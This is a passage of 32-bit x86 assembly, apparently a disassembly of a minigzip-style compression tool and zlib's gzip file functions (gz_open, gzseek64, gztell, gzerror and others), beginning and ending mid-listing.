%esp testl %eax, %eax movl %eax, %edi je .L08048CCE .L08048C47: subl $8, %esp pushl $.LC08054694 pushl -1052(%ebp) call fopen .L08048C5A: addl $16, %esp testl %eax, %eax je .L08048CDC .L08048C61: subl $8, %esp pushl %eax pushl %edi call gz_uncompress .L08048C6B: movl %ebx, (%esp) call unlink .L08048C73: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08048C7B: .p2align 2 .L08048C7C: cmpb $103, 1(%edx) jne .L08048C02 .L08048C82: cmpb $122, 2(%edx) jne .L08048C02 .L08048C8C: cmpb $0, 3(%edx) jne .L08048C02 .L08048C96: leal -1048(%ebp), %ecx movl %esi, %ebx movl %ecx, -1052(%ebp) movb $0, -3(%ecx,%edi) jmp .L08048C2C .L08048CAB: pushl %eax pushl prog pushl $.LC08054668 .L08048CB7: pushl stderr call fprintf .L08048CC2: movl $1, (%esp) call exit .L08048CCE: pushl %ebx pushl prog pushl $.LC0805467F jmp .L08048CB7 .L08048CDC: subl $12, %esp pushl %esi call perror .L08048CE5: jmp .L08048CC2 .size file_uncompress, .-file_uncompress # ---------------------- .L08048CE7: .p2align 3 # ---------------------- .globl main .type main, @function main: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $76, %esp andl $-16, %esp subl $16, %esp pushl $.LC08054697 pushl $.LC080546D8 pushl $20 leal -56(%ebp), %edx movl 12(%ebp), %esi pushl %edx movl $0, -60(%ebp) movl $0, -64(%ebp) call snprintf .L08048D1D: subl $8, %esp movl (%esi), %eax movl %eax, prog pushl $47 pushl (%esi) call strrchr .L08048D30: addl $32, %esp testl %eax, %eax je .L0804900F .L08048D3B: incl %eax movl %eax, -68(%ebp) .L08048D3F: addl $4, %esi movl %esi, -72(%ebp) movl 8(%ebp), %ebx cld movl -68(%ebp), %esi movl $.LC0805469C, %edi movl $7, %ecx decl %ebx repz cmpsb jne .L08048EA1 .L08048D5F: movl $1, -64(%ebp) .L08048D66: testl %ebx, %ebx jle .L08048D94 .L08048D6A: .p2align 2 .L08048D6C: movl -72(%ebp), %edx movl (%edx), %eax cmpb $45, (%eax) jne .L08048DF4 .L08048D76: cmpb $99, 1(%eax) jne .L08048DF4 .L08048D7C: cmpb $0, 2(%eax) jne .L08048DF4 .L08048D82: movl $1, -60(%ebp) decl %ebx addl $4, -72(%ebp) .p2align 3 .L08048D90: testl %ebx, %ebx jg .L08048D6C .L08048D94: cmpb $32, -53(%ebp) je .L08048FA2 .L08048D9E: testl %ebx, %ebx jne .L08048F1E .L08048DA6: movl -64(%ebp), %ebx testl %ebx, %ebx je .L08048FAB .L08048DB1: subl $8, %esp pushl $.LC08054665 pushl stdin call fileno .L08048DC4: movl %eax, (%esp) call gzdopen .L08048DCC: addl $16, %esp testl %eax, %eax je .L08049040 .L08048DD7: subl $8, %esp pushl stdout pushl %eax call gz_uncompress .L08048DE6: addl $16, %esp .L08048DE9: leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L08048DF3: .p2align 2 .L08048DF4: cmpb $45, (%eax) jne .L08048E18 .L08048DF9: cmpb $100, 1(%eax) jne .L08048E18 .L08048DFF: cmpb $0, 2(%eax) jne .L08048E18 .L08048E05: decl %ebx addl $4, -72(%ebp) movl $1, -64(%ebp) jmp .L08048D90 .L08048E16: .p2align 3 .L08048E18: cmpb $45, (%eax) jne .L08048E38 .L08048E1D: cmpb $102, 1(%eax) jne .L08048E38 .L08048E23: cmpb $0, 2(%eax) jne .L08048E38 .L08048E29: decl %ebx addl $4, -72(%ebp) movb $102, -53(%ebp) jmp .L08048D90 .L08048E37: .p2align 3 .L08048E38: cmpb $45, (%eax) jne .L08048E58 .L08048E3D: cmpb $104, 1(%eax) jne .L08048E58 .L08048E43: cmpb $0, 2(%eax) jne .L08048E58 .L08048E49: decl %ebx addl $4, -72(%ebp) movb $104, -53(%ebp) jmp .L08048D90 .L08048E57: .p2align 3 .L08048E58: cmpb $45, (%eax) jne .L08048E6C .L08048E5D: cmpb $114, 1(%eax) jne .L08048E6C .L08048E63: cmpb $0, 2(%eax) je .L08048ECA .L08048E69: .p2align 2 .L08048E6C: cmpb $45, (%eax) jne .L08048D94 .L08048E75: movb 1(%eax), %dl cmpb $48, %dl jle .L08048D94 .L08048E81: cmpb $57, %dl jg .L08048D94 .L08048E8A: cmpb $0, 2(%eax) jne .L08048D94 .L08048E94: decl %ebx addl $4, -72(%ebp) movb %dl, -54(%ebp) jmp .L08048D90 .L08048EA1: cld movl -68(%ebp), %esi movl $.LC080546A3, %edi movl $5, %ecx repz cmpsb jne .L08048D66 .L08048EB7: movl $1, -64(%ebp) movl $1, -60(%ebp) jmp .L08048D66 .L08048ECA: decl %ebx addl $4, -72(%ebp) movb $82, -53(%ebp) jmp .L08048D90 .L08048ED8: movl -60(%ebp), %esi testl %esi, %esi je .L08048F7C .L08048EE3: subl $8, %esp pushl $.LC08054665 movl -72(%ebp), %edi pushl (%edi) call gzopen .L08048EF5: addl $16, %esp testl %eax, %eax je .L08048FE0 .L08048F00: subl $8, %esp pushl stdout pushl %eax call gz_uncompress .L08048F0F: .p2align 3 .L08048F10: addl $16, %esp addl $4, -72(%ebp) decl %ebx je .L08048DE9 .L08048F1E: movl -64(%ebp), %edi testl %edi, %edi jne .L08048ED8 .L08048F25: movl -60(%ebp), %edx testl %edx, %edx je .L08048F8C .L08048F2C: subl $8, %esp pushl $.LC08054665 movl -72(%ebp), %eax pushl (%eax) call fopen .L08048F3E: addl $16, %esp testl %eax, %eax movl %eax, %esi je .L08048FFD .L08048F4B: subl $8, %esp leal -56(%ebp), %ecx pushl %ecx pushl stdout call fileno .L08048F5D: movl %eax, (%esp) call gzdopen .L08048F65: addl $16, %esp testl %eax, %eax je .L08049019 .L08048F70: subl $8, %esp pushl %eax pushl %esi call gz_compress .L08048F7A: jmp .L08048F10 .L08048F7C: subl $12, %esp movl -72(%ebp), %ecx pushl (%ecx) call file_uncompress .L08048F89: jmp .L08048F10 .L08048F8B: .p2align 2 .L08048F8C: subl $8, %esp leal -56(%ebp), %edx pushl %edx movl -72(%ebp), %esi pushl (%esi) call file_compress .L08048F9D: jmp .L08048F10 .L08048FA2: movb $0, -53(%ebp) jmp .L08048D9E .L08048FAB: subl $8, %esp leal -56(%ebp), %eax pushl %eax pushl stdout call fileno .L08048FBD: movl %eax, (%esp) call gzdopen .L08048FC5: addl $16, %esp testl %eax, %eax je .L08049019 .L08048FCC: subl $8, %esp pushl %eax pushl stdin call gz_compress .L08048FDB: jmp .L08048DE6 .L08048FE0: pushl (%edi) pushl prog pushl $.LC0805467F pushl stderr call fprintf .L08048FF8: jmp .L08048F10 .L08048FFD: subl $12, %esp movl -72(%ebp), %edi pushl (%edi) call perror .L0804900A: jmp .L08048F10 .L0804900F: movl (%esi), %ecx movl %ecx, -68(%ebp) jmp .L08048D3F .L08049019: pushl $.LC080546A8 .L0804901E: pushl prog pushl $.LC08054628 pushl stderr call fprintf .L08049034: movl $1, (%esp) call exit .L08049040: pushl $.LC080546BD jmp .L0804901E .size main, .-main # ---------------------- .L08049047: .p2align 3 # ---------------------- .globl gzclose .type gzclose, @function gzclose: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax je .L0804906A .L08049052: cmpl $7247, 16(%eax) je .L08049064 .L0804905B: movl %eax, 8(%ebp) leave jmp gzclose_w .L08049064: leave jmp gzclose_r .L0804906A: movl $-2, %eax leave ret .size gzclose, .-gzclose # ---------------------- .L08049071: .p2align 2 # ---------------------- .hidden gz_error .globl gz_error .type gz_error, @function gz_error: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %ebx movl 92(%ebx), %eax testl %eax, %eax movl 12(%ebp), %edi movl 16(%ebp), %esi je .L080490A6 .L0804908D: cmpl $-4, 88(%ebx) je .L0804909F .L08049093: subl $12, %esp pushl %eax call free .L0804909C: addl $16, %esp .L0804909F: movl $0, 92(%ebx) .L080490A6: testl %edi, %edi je .L080490B5 .L080490AA: cmpl $-5, %edi je .L080490B5 .L080490AF: movl $0, (%ebx) .L080490B5: testl %esi, %esi movl %edi, 88(%ebx) je .L08049128 .L080490BC: cmpl $-4, %edi je .L08049128 .L080490C1: movl 24(%ebx), %edi xorl %eax, %eax cld movl $-1, %ecx repnz scasb movl %ecx, %edx movl %esi, %edi movl $-1, %ecx repnz scasb notl %ecx subl $12, %esp subl %edx, %ecx pushl %ecx call malloc .L080490E6: addl $16, %esp testl %eax, %eax movl %eax, %edx movl %eax, 92(%ebx) je .L08049130 .L080490F2: subl $8, %esp pushl %esi pushl $.LC080546D1 pushl 24(%ebx) pushl $.LC080546D4 movl 24(%ebx), %edi cld xorl %eax, %eax movl $-1, %ecx repnz scasb movl %ecx, %ebx movl %esi, %edi movl $-1, %ecx repnz scasb notl %ecx subl %ebx, %ecx pushl %ecx pushl %edx call snprintf .L08049126: .p2align 3 .L08049128: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049130: movl $-4, 88(%ebx) leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .size gz_error, .-gz_error # ---------------------- .L0804913F: .p2align 3 # ---------------------- .local gz_open .type gz_open, @function gz_open: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl %eax, -16(%ebp) movl %edx, -20(%ebp) movl -16(%ebp), %edx xorl %eax, %eax testl %edx, %edx movl 8(%ebp), %edi movl $0, -24(%ebp) je .L080492CB .L08049166: subl $12, %esp pushl $152 call malloc .L08049173: movl %eax, %ebx addl $16, %esp xorl %eax, %eax testl %ebx, %ebx je .L080492CB .L08049182: movl $0, 28(%ebx) movl $8192, 32(%ebx) movl $0, 92(%ebx) movl $0, -32(%ebp) movl $0, -28(%ebp) movb (%edi), %dl xorl %ecx, %ecx testb %dl, %dl movl $-1, %esi je .L080491CC .L080491B2: .p2align 2 .L080491B4: leal -48(%edx), %eax cmpb $9, %al ja .L080492D4 .L080491BF: movsbl %dl, %eax leal -48(%eax), %esi .L080491C5: incl %edi .L080491C6: movb (%edi), %dl testb %dl, %dl jne .L080491B4 .L080491CC: movl -32(%ebp), %edx movl -28(%ebp), %edi testl %ecx, %ecx movl %ecx, 16(%ebx) movl %esi, 68(%ebx) movl %edx, 72(%ebx) movl %edi, 44(%ebx) je .L08049338 .L080491E6: cmpl $7247, %ecx jne .L08049200 .L080491EE: movl -28(%ebp), %eax testl %eax, %eax jne .L08049338 .L080491F9: movl $1, 44(%ebx) .L08049200: xorl %eax, %eax movl -16(%ebp), %edi cld movl $-1, %ecx repnz scasb movl %ecx, %esi subl $12, %esp notl %esi pushl %esi call malloc .L0804921A: addl $16, %esp testl %eax, %eax movl %eax, 24(%ebx) je .L08049338 .L08049228: pushl -16(%ebp) pushl $.LC080546D8 pushl %esi pushl %eax call snprintf .L08049237: movl 16(%ebx), %edx addl $16, %esp cmpl $7247, %edx movl $32768, %eax je .L08049267 .L0804924A: cmpl $1, -24(%ebp) sbbl %eax, %eax andl $-128, %eax addl $193, %eax cmpl $31153, %edx je .L080493AD .L08049264: orb $132, %ah .L08049267: movl -20(%ebp), %edx cmpl $-1, %edx jle .L080493E3 .L08049273: cmpl $-1, %edx movl %edx, 20(%ebx) je .L0804940A .L0804927F: movl 16(%ebx), %eax cmpl $1, %eax je .L080492EA .L08049287: cmpl $7247, %eax je .L080493B5 .L08049292: cmpl $7247, %eax movl $0, (%ebx) je .L08049302 .L0804929F: movl $0, 84(%ebx) pushl %eax pushl $0 pushl $0 pushl %ebx call gz_error .L080492B1: addl $16, %esp movl $0, 8(%ebx) movl $0, 12(%ebx) movl $0, 100(%ebx) movl %ebx, %eax .L080492CB: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L080492D3: .p2align 2 .L080492D4: movsbl %dl, %eax subl $43, %eax cmpl $77, %eax ja .L080491C5 .L080492E3: jmp *.LC080546F4(,%eax,4) .L080492EA: movw $31153, %ax cmpl $7247, %eax movl $31153, 16(%ebx) movl $0, (%ebx) jne .L0804929F .L08049302: movl $0, 60(%ebx) movl $0, 64(%ebx) movl $0, 48(%ebx) jmp .L0804929F .L08049319: incl %edi movl $1, -24(%ebp) jmp .L080491C6 .L08049326: movl %ecx, 16(%ebx) movl %esi, 68(%ebx) movl -28(%ebp), %ecx movl -32(%ebp), %esi movl %esi, 72(%ebx) movl %ecx, 44(%ebx) .L08049338: subl $12, %esp .L0804933B: pushl %ebx call free .L08049341: leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L0804934B: incl %edi movl $4, -32(%ebp) jmp .L080491C6 .L08049358: incl %edi movl $3, -32(%ebp) jmp .L080491C6 .L08049365: incl %edi movl $1, -28(%ebp) jmp .L080491C6 .L08049372: movl $1, %ecx incl %edi jmp .L080491C6 .L0804937D: incl %edi movl $1, -32(%ebp) jmp .L080491C6 .L0804938A: incl %edi movl $2, -32(%ebp) jmp .L080491C6 .L08049397: movl $7247, %ecx incl %edi jmp .L080491C6 .L080493A2: movl $31153, %ecx incl %edi jmp .L080491C6 .L080493AD: orb $130, %ah jmp .L08049267 .L080493B5: pushl $1 pushl $0 pushl $0 pushl %edx call lseek64 .L080493C1: movl %edx, %ecx movl %eax, %esi andl %ecx, %esi addl $16, %esp incl %esi jne .L080493FC .L080493CD: movl 16(%ebx), %eax movl $0, 52(%ebx) movl $0, 56(%ebx) jmp .L08049292 .L080493E3: pushl %ecx pushl $438 pushl %eax pushl -16(%ebp) call open .L080493F2: movl %eax, %edx addl $16, %esp jmp .L08049273 .L080493FC: movl %eax, 52(%ebx) movl 16(%ebx), %eax movl %ecx, 56(%ebx) jmp .L08049292 .L0804940A: subl $12, %esp pushl 24(%ebx) call free .L08049415: popl %edx jmp .L0804933B .size gz_open, .-gz_open # ---------------------- .L0804941B: .p2align 2 # ---------------------- .globl gzopen .type gzopen, @function gzopen: pushl %ebp movl %esp, %ebp movl 12(%ebp), %edx movl 8(%ebp), %eax movl %edx, 8(%ebp) movl $-1, %edx leave jmp gz_open .size gzopen, .-gzopen # ---------------------- .L08049433: .p2align 2 # ---------------------- .globl gzopen64 .type gzopen64, @function gzopen64: pushl %ebp movl %esp, %ebp movl 12(%ebp), %edx movl 8(%ebp), %eax movl %edx, 8(%ebp) movl $-1, %edx leave jmp gz_open .size gzopen64, .-gzopen64 # ---------------------- .L0804944B: .p2align 2 # ---------------------- .globl gzdopen .type gzdopen, @function gzdopen: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx movl 8(%ebp), %ebx cmpl $-1, %ebx je .L0804949C .L08049459: subl $12, %esp pushl $19 call malloc .L08049463: addl $16, %esp testl %eax, %eax movl %eax, %esi je .L0804949C .L0804946C: pushl %ebx pushl $.LC080546DB pushl $19 pushl %eax call snprintf .L0804947A: popl %ecx pushl 12(%ebp) movl %ebx, %edx movl %esi, %eax call gz_open .L08049487: movl %esi, (%esp) movl %eax, %ebx call free .L08049491: leal -8(%ebp), %esp movl %ebx, %eax popl %ebx popl %esi leave ret .L0804949A: .p2align 2 .L0804949C: leal -8(%ebp), %esp popl %ebx xorl %eax, %eax popl %esi leave ret .size gzdopen, .-gzdopen # ---------------------- .L080494A5: .p2align 3 # ---------------------- .globl gzbuffer .type gzbuffer, @function gzbuffer: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax pushl %ebx movl 12(%ebp), %ecx movl $-1, %ebx je .L080494E9 .L080494BB: movl 16(%eax), %edx cmpl $7247, %edx je .L080494CE .L080494C6: cmpl $31153, %edx jne .L080494E9 .L080494CE: movl 28(%eax), %edx testl %edx, %edx movl $-1, %ebx jne .L080494E9 .L080494DA: cmpl $1, %ecx ja .L080494E4 .L080494DF: movl $2, %ecx .L080494E4: movl %ecx, 32(%eax) xorl %ebx, %ebx .L080494E9: movl %ebx, %eax popl %ebx leave ret .size gzbuffer, .-gzbuffer # ---------------------- .L080494EE: .p2align 3 # ---------------------- .globl gzrewind .type gzrewind, @function gzrewind: pushl %ebp movl %esp, %ebp pushl %ebx pushl %ebx movl 8(%ebp), %ebx testl %ebx, %ebx movl $-1, %edx je .L0804951B .L08049501: cmpl $7247, 16(%ebx) jne .L08049516 .L0804950A: movl 88(%ebx), %eax testl %eax, %eax je .L08049524 .L08049511: cmpl $-5, %eax je .L08049524 .L08049516: movl $-1, %edx .L0804951B: movl %edx, %eax movl -4(%ebp), %ebx leave ret .L08049522: .p2align 2 .L08049524: pushl $0 pushl 56(%ebx) pushl 52(%ebx) pushl 20(%ebx) call lseek64 .L08049534: andl %edx, %eax addl $16, %esp incl %eax movl $-1, %edx je .L0804951B .L08049541: cmpl $7247, 16(%ebx) movl $0, (%ebx) je .L08049584 .L08049550: movl $0, 84(%ebx) pushl %ecx pushl $0 pushl $0 pushl %ebx call gz_error .L08049562: movl $0, 8(%ebx) movl $0, 12(%ebx) movl $0, 100(%ebx) xorl %edx, %edx addl $16, %esp movl %edx, %eax movl -4(%ebp), %ebx leave ret .L08049583: .p2align 2 .L08049584: movl $0, 60(%ebx) movl $0, 64(%ebx) movl $0, 48(%ebx) jmp .L08049550 .size gzrewind, .-gzrewind # ---------------------- .L0804959B: .p2align 2 # ---------------------- .globl gzseek64 .type gzseek64, @function gzseek64: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %edi testl %edi, %edi movl 12(%ebp), %ebx movl 16(%ebp), %esi movl 20(%ebp), %eax movl $-1, -24(%ebp) movl $-1, -20(%ebp) je .L0804963F .L080495C3: movl 16(%edi), %ecx cmpl $7247, %ecx je .L080495D6 .L080495CE: cmpl $31153, %ecx jne .L0804963F .L080495D6: movl 88(%edi), %edx testl %edx, %edx movl %edx, -28(%ebp) jne .L08049650 .L080495E0: cmpl $1, %eax movl $-1, -24(%ebp) movl $-1, -20(%ebp) ja .L0804963F .L080495F3: testl %eax, %eax jne .L0804966C .L080495F7: subl 8(%edi), %ebx sbbl 12(%edi), %esi .L080495FD: cmpl $7247, %ecx movl $0, 84(%edi) je .L08049688 .L0804960C: testl %esi, %esi js .L08049754 .L08049614: cmpl $7247, %ecx je .L08049728 .L08049620: movl %esi, %eax orl %ebx, %eax je .L08049633 .L08049626: movl $1, 84(%edi) movl %ebx, 76(%edi) movl %esi, 80(%edi) .L08049633: addl 8(%edi), %ebx adcl 12(%edi), %esi movl %ebx, -24(%ebp) movl %esi, -20(%ebp) .L0804963F: movl -24(%ebp), %eax movl -20(%ebp), %edx leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804964D: .p2align 3 .L08049650: cmpl $-5, %edx movl $-1, -24(%ebp) movl $-1, -20(%ebp) je .L080495E0 .L08049667: jmp .L0804963F .L08049669: .p2align 2 .L0804966C: movl 84(%edi), %eax testl %eax, %eax je .L080495FD .L08049673: addl 76(%edi), %ebx adcl 80(%edi), %esi cmpl $7247, %ecx movl $0, 84(%edi) jne .L0804960C .L08049688: cmpl $1, 48(%edi) jne .L0804960C .L08049692: movl 8(%edi), %eax addl %ebx, %eax movl 12(%edi), %edx adcl %esi, %edx testl %edx, %edx js .L0804960C .L080496A4: pushl $1 movl (%edi), %eax xorl %ecx, %ecx movl %ecx, -36(%ebp) movl %eax, -40(%ebp) movl %ebx, %ecx subl -40(%ebp), %ecx movl %esi, %edx sbbl -36(%ebp), %edx pushl %edx pushl %ecx pushl 20(%edi) call lseek64 .L080496C4: andl %edx, %eax addl $16, %esp incl %eax movl $-1, -24(%ebp) movl $-1, -20(%ebp) je .L0804963F .L080496DE: movl $0, (%edi) movl $0, 60(%edi) movl $0, 64(%edi) movl $0, 84(%edi) pushl %eax pushl $0 pushl $0 pushl %edi call gz_error .L08049704: movl 8(%edi), %ecx addl %ebx, %ecx movl 12(%edi), %edx adcl %esi, %edx movl $0, 100(%edi) movl %ecx, 8(%edi) movl %edx, 12(%edi) movl %ecx, -24(%ebp) movl %edx, -20(%ebp) jmp .L0804963F .L08049726: .p2align 3 .L08049728: xorl %edx, %edx cmpl %esi, %edx movl (%edi), %eax jl .L08049738 .L08049730: jg .L080497A9 .L08049732: cmpl %ebx, %eax ja .L080497A9 .L08049736: .p2align 3 .L08049738: movl (%edi), %eax movl %eax, %ecx .L0804973C: subl %eax, %ecx movl %ecx, (%edi) addl %eax, 4(%edi) xorl %ecx, %ecx addl %eax, 8(%edi) adcl %ecx, 12(%edi) subl %eax, %ebx sbbl %ecx, %esi jmp .L08049620 .L08049754: cmpl $7247, %ecx movl $-1, -24(%ebp) movl $-1, -20(%ebp) jne .L0804963F .L0804976E: addl 8(%edi), %ebx adcl 12(%edi), %esi testl %esi, %esi js .L0804963F .L0804977C: testl %edi, %edi je .L0804978D .L08049780: movl -28(%ebp), %eax testl %eax, %eax je .L080497AF .L08049787: cmpl $-5, -28(%ebp) je .L080497AF .L0804978D: movl $-1, -24(%ebp) movl $-1, -20(%ebp) movl -24(%ebp), %eax movl -20(%ebp), %edx leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L080497A9: movl %ebx, %eax movl (%edi), %ecx jmp .L0804973C .L080497AF: pushl $0 pushl 56(%edi) pushl 52(%edi) pushl 20(%edi) call lseek64 .L080497BF: andl %edx, %eax addl $16, %esp incl %eax je .L0804978D .L080497C7: cmpl $7247, 16(%edi) movl $0, (%edi) je .L08049808 .L080497D6: movl $0, 84(%edi) pushl %eax pushl $0 pushl $0 pushl %edi call gz_error .L080497E8: addl $16, %esp movl 16(%edi), %ecx movl $0, 8(%edi) movl $0, 12(%edi) movl $0, 100(%edi) jmp .L08049614 .L08049808: movl $0, 60(%edi) movl $0, 64(%edi) movl $0, 48(%edi) jmp .L080497D6 .size gzseek64, .-gzseek64 # ---------------------- .L0804981F: .p2align 3 # ---------------------- .globl gzseek .type gzseek, @function gzseek: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx movl 12(%ebp), %eax pushl 16(%ebp) cltd pushl %edx pushl %eax pushl 8(%ebp) call gzseek64 .L08049836: movl %eax, %ebx sarl $31, %ebx movl %eax, %ecx movl %ebx, %esi xorl %edx, %esi xorl %eax, %ecx addl $16, %esp orl %ecx, %esi je .L0804984F .L0804984A: movl $-1, %eax .L0804984F: leal -8(%ebp), %esp popl %ebx popl %esi leave ret .size gzseek, .-gzseek # ---------------------- .L08049856: .p2align 3 # ---------------------- .globl gztell64 .type gztell64, @function gztell64: pushl %ebp movl %esp, %ebp pushl %ebx movl 8(%ebp), %ebx testl %ebx, %ebx movl $-1, %eax movl $-1, %edx je .L08049893 .L0804986D: movl 16(%ebx), %ecx cmpl $7247, %ecx je .L08049880 .L08049878: cmpl $31153, %ecx jne .L08049893 .L08049880: movl 84(%ebx), %ecx testl %ecx, %ecx movl 8(%ebx), %eax movl 12(%ebx), %edx je .L08049893 .L0804988D: addl 76(%ebx), %eax adcl 80(%ebx), %edx .L08049893: popl %ebx leave ret .size gztell64, .-gztell64 # ---------------------- .L08049896: .p2align 3 # ---------------------- .globl gztell .type gztell, @function gztell: pushl %ebp movl %esp, %ebp movl 8(%ebp), %edx pushl %esi testl %edx, %edx pushl %ebx movl $-1, %esi movl $-1, %ebx je .L080498BF .L080498AE: movl 16(%edx), %eax cmpl $7247, %eax je .L080498DC .L080498B8: cmpl $31153, %eax je .L080498DC .L080498BF: movl %ebx, %eax cltd movl %edx, %ecx xorl %esi, %ecx xorl %ebx, %eax orl %eax, %ecx movl %ebx, %edx je .L080498D3 .L080498CE: movl $-1, %edx .L080498D3: popl %ebx movl %edx, %eax popl %esi leave ret .L080498D9: .p2align 2 .L080498DC: movl 84(%edx), %eax testl %eax, %eax movl 8(%edx), %ebx movl 12(%edx), %esi je .L080498BF .L080498E9: addl 76(%edx), %ebx adcl 80(%edx), %esi jmp .L080498BF .size gztell, .-gztell # ---------------------- .L080498F1: .p2align 2 # ---------------------- .globl gzoffset64 .type gzoffset64, @function gzoffset64: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx subl $16, %esp movl 8(%ebp), %esi testl %esi, %esi movl $-1, -16(%ebp) movl $-1, -12(%ebp) je .L08049959 .L08049911: movl 16(%esi), %eax cmpl $7247, %eax je .L08049922 .L0804991B: cmpl $31153, %eax jne .L08049959 .L08049922: pushl $1 pushl $0 pushl $0 pushl 20(%esi) call lseek64 .L08049930: movl %eax, %ecx andl %edx, %eax addl $16, %esp incl %eax movl %edx, %ebx movl $-1, -16(%ebp) movl $-1, -12(%ebp) je .L08049959 .L0804994A: cmpl $7247, 16(%esi) je .L08049968 .L08049953: movl %ecx, -16(%ebp) movl %ebx, -12(%ebp) .L08049959: movl -16(%ebp), %eax movl -12(%ebp), %edx leal -8(%ebp), %esp popl %ebx popl %esi leave ret .L08049966: .p2align 3 .L08049968: movl 100(%esi), %eax xorl %edx, %edx subl %eax, %ecx sbbl %edx, %ebx jmp .L08049953 .size gzoffset64, .-gzoffset64 # ---------------------- .L08049973: .p2align 2 # ---------------------- .globl gzoffset .type gzoffset, @function gzoffset: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %eax testl %eax, %eax movl $-1, %esi movl $-1, %edi je .L080499A2 .L0804998E: movl 8(%ebp), %edx movl 16(%edx), %eax cmpl $7247, %eax je .L080499C0 .L0804999B: cmpl $31153, %eax je .L080499C0 .L080499A2: movl %esi, %eax cltd movl %edx, %ecx xorl %edi, %ecx xorl %esi, %eax orl %eax, %ecx movl %esi, %edx je .L080499B6 .L080499B1: movl $-1, %edx .L080499B6: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L080499C0: pushl $1 pushl $0 pushl $0 movl 8(%ebp), %esi pushl 20(%esi) call lseek64 .L080499D1: movl %eax, %ecx andl %edx, %eax addl $16, %esp incl %eax movl %edx, %ebx movl $-1, %esi movl $-1, %edi je .L080499A2 .L080499E7: movl 8(%ebp), %eax cmpl $7247, 16(%eax) je .L080499F9 .L080499F3: movl %ecx, %esi movl %ebx, %edi jmp .L080499A2 .L080499F9: movl 100(%eax), %edx xorl %edi, %edi subl %edx, %ecx sbbl %edi, %ebx movl %ecx, %esi movl %ebx, %edi jmp .L080499A2 .size gzoffset, .-gzoffset # ---------------------- .globl gzeof .type gzeof, @function gzeof: pushl %ebp movl %esp, %ebp movl 8(%ebp), %ecx xorl %eax, %eax testl %ecx, %ecx je .L08049A27 .L08049A14: movl 16(%ecx), %edx cmpl $7247, %edx je .L08049A2C .L08049A1F: cmpl $31153, %edx je .L08049A34 .L08049A27: leave ret .L08049A29: .p2align 2 .L08049A2C: movl 64(%ecx), %eax leave ret .L08049A31: .p2align 2 .L08049A34: xorl %eax, %eax leave ret .size gzeof, .-gzeof # ---------------------- .globl gzerror .type gzerror, @function gzerror: pushl %ebp movl %esp, %ebp movl 8(%ebp), %ecx xorl %eax, %eax testl %ecx, %ecx pushl %ebx movl 12(%ebp), %ebx je .L08049A7C .L08049A48: movl 16(%ecx), %edx cmpl $7247, %edx je .L08049A5B .L08049A53: cmpl $31153, %edx jne .L08049A7C .L08049A5B: testl %ebx, %ebx je .L08049A64 .L08049A5F: movl 88(%ecx), %eax movl %eax, (%ebx) .L08049A64: cmpl $-4, 88(%ecx) movl $.LC080546E3, %eax je .L08049A7C .L08049A6F: movl 92(%ecx), %eax testl %eax, %eax jne .L08049A7C .L08049A76: movl $.LC0805467E, %eax .p2align 2 .L08049A7C: popl %ebx leave ret .size gzerror, .-gzerror # ---------------------- .L08049A7F: .p2align 3 # ---------------------- .globl gzclearerr .type gzclearerr, @function gzclearerr: pushl %ebp movl %esp, %ebp subl $8, %esp movl 8(%ebp), %edx testl %edx, %edx je .L08049A9E .L08049A8D: movl 16(%edx), %eax cmpl $7247, %eax je .L08049AA0 .L08049A97: cmpl $31153, %eax je .L08049AAE .L08049A9E: leave ret .L08049AA0: movl $0, 60(%edx) movl $0, 64(%edx) .L08049AAE: pushl %eax pushl $0 pushl $0 pushl %edx call gz_error .L08049AB9: leave ret .size gzclearerr, .-gzclearerr # ---------------------- .L08049ABB: .p2align 2 # ---------------------- .local gz_look .type gz_look, @function gz_look: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl %eax, %esi leal 96(%eax), %edi movl 28(%eax), %eax testl %eax, %eax je .L08049BD0 .L08049AD5: movl 4(%edi), %edx cmpl $1, %edx jbe .L08049B14 .L08049ADD: movl (%edi), %eax cmpb $31, (%eax) je .L08049CD8 .L08049AE8: movl 44(%esi), %eax testl %eax, %eax jne .L08049C70 .L08049AF3: movl $0, 4(%edi) movl $1, 60(%esi) movl $0, (%esi) .L08049B07: xorl %eax, %eax .L08049B09: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049B11: .p2align 2 .L08049B14: movl 88(%esi), %eax testl %eax, %eax je .L08049B30 .L08049B1B: cmpl $-5, %eax je .L08049B30 .L08049B20: movl $-1, %eax .L08049B25: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049B2D: .p2align 3 .L08049B30: movl 60(%esi), %ebx testl %ebx, %ebx jne .L08049BB4 .L08049B37: movl 4(%edi), %eax testl %eax, %eax je .L08049B54 .L08049B3E: movl 36(%esi), %ebx movl (%edi), %ecx movl %eax, %edx .p2align 3 .L08049B48: movb (%ecx), %al movb %al, (%ebx) incl %ecx incl %ebx decl %edx jne .L08049B48 .L08049B51: movl 4(%edi), %eax .L08049B54: movl 36(%esi), %edx movl 28(%esi), %ebx addl %eax, %edx movl %edx, -20(%ebp) subl %eax, %ebx movl $0, -16(%ebp) xorl %ecx, %ecx .p2align 2 .L08049B6C: pushl %eax movl %ebx, %eax subl 